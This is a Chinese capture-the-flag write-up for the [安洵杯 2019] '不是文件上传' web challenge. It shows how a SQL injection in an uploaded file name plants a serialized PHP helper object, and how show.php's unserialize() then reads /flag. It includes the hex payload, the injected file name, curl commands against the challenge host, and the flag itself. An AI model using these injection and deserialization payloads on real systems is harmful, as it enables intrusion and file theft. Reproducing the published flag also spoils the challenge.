Skip to content

[安洵杯 2019]不是文件上传

题目信息

  • 类型:Web
  • 题目状态:已解出
  • 目标:http://node4.anna.nssctf.cn:29621/
  • 核心漏洞:文件名可控导致 SQL 注入,配合 show.php 中的反序列化触发 helper::__destruct() 读取 /flag

入口与现象

首页只有一个上传入口和一个查看入口,表面上像普通文件上传题,但页面注释里给了一个很关键的提示:

<!--
Hello, my colleague.
Some of the features on our website have not been completed. I have uploaded the source code to github. When you have time, remember to continue.
-->

进入 upload.php 后可以上传图片,进入 show.php 后只能看到自己上传记录里的 filenamepath。这里已经说明“看图功能还没做完,目前只会保存图片名内容”,说明数据库里存的并不只是图片文件本身。

分析过程

结合公开源码可以还原出两处关键逻辑。

第一处在上传逻辑。程序会从用户上传的原始文件名里取扩展名和标题,然后把这些值直接拼到 SQL 语句里:

$ext = substr(strrchr($filename, "."),1);
$img_ext = array('jpg','png','gif','jpeg');
if (in_array($ext, $img_ext)) {
    $renamed = bin2hex(random_bytes(8)).".".$ext;
    $t = new Task($this->filename,$renamed);
    if($t->upload()) {
        $title = str_replace(".".$ext, "", $filename);
        $image->insert_to_db($title,$t->get_new_name(),$ext,$t->get_file_path(),$t->image_size());
    }
}

数据库写入函数同样是直接字符串拼接:

$sql = "insert into images (`".implode("`,`", array_keys($data))."`) values ('".implode("','", array_values($data))."')";

这意味着上传时传入的原始文件名会进入 title 字段,而这里没有任何转义,所以文件名本身就是注入点。

第二处在 show.php。页面在遍历数据库记录时,会把 attr 字段做一次替换后直接 unserialize()

$row["attr"] = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($row["attr"]);

helper.php 中存在一个可利用的析构:

class helper {
    protected $folder = "pic/";
    protected $ifview = False;
    protected $config = "config.txt";

    public function view_files($path) {
        if ($this->ifview) {
            return file_get_contents($path);
        }
    }

    public function __destruct() {
        if ($this->ifview) {
            echo $this->view_files($this->config);
        }
    }
}

所以利用链就明确了:

  1. 通过上传文件名打 SQL 注入。
  2. images.attr 里插入一个恶意序列化 helper 对象。
  3. 访问 show.php,程序 unserialize() 后在脚本结束时触发 __destruct()
  4. ifview 设为 true,把 config 设为 /flag,即可直接读出 flag。

利用过程

先说明一个细节:curl -F 自定义上传文件名时,如果文件名里有双引号会很难处理,所以这里直接把恶意序列化对象转成十六进制,在 SQL 里用 0x... 插入。

目标对象的逻辑等价于:

$obj = new helper();
$obj->ifview = true;
$obj->config = "/flag";

对应的序列化数据写成数据库可接受的十六进制后为:

4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d

然后利用文件名完成二次插入。最终上传的文件名为:

1','1','1','1',0x4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg

这样原始 SQL 会从:

insert into images (`title`,`filename`,`ext`,`path`,`attr`) values ('{title}','{filename}','{ext}','{path}','{attr}')

变成:

insert into images (`title`,`filename`,`ext`,`path`,`attr`) values
('1','1','1','1',0x...),
('1','随机文件名.jpg','jpg','pic/随机文件名.jpg','正常图片属性')

第一条记录就是恶意记录,第二条记录只是系统正常插入的上传记录。

关键 payload / 命令

$hex='4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d'
$payload="1','1','1','1',0x$hex),('1.jpg"
curl.exe --noproxy * -F "file=@e:/项目/CTF/tmp/1x1.png;filename=`"$payload`";type=image/png" http://node4.anna.nssctf.cn:29621/upload.php
curl.exe --noproxy * http://node4.anna.nssctf.cn:29621/show.php

访问 show.php 后,页面会出现一条异常记录:

id=3 filename=1 path=1

紧接着输出 flag。

Flag

D0g3{Sq1_Is_N0t_Fun_333_F14g}

总结

这题的关键不是上传绕过,而是“上传文件名参与数据库写入”这一点。首页注释把注意力引到源码后,可以很快发现上传点的 SQL 注入;再结合 show.phpattr 的反序列化和 helper 类析构里的文件读取,最终拼出一条很短的利用链:文件名 SQL 注入写入恶意对象,访问展示页触发反序列化,析构读 /flag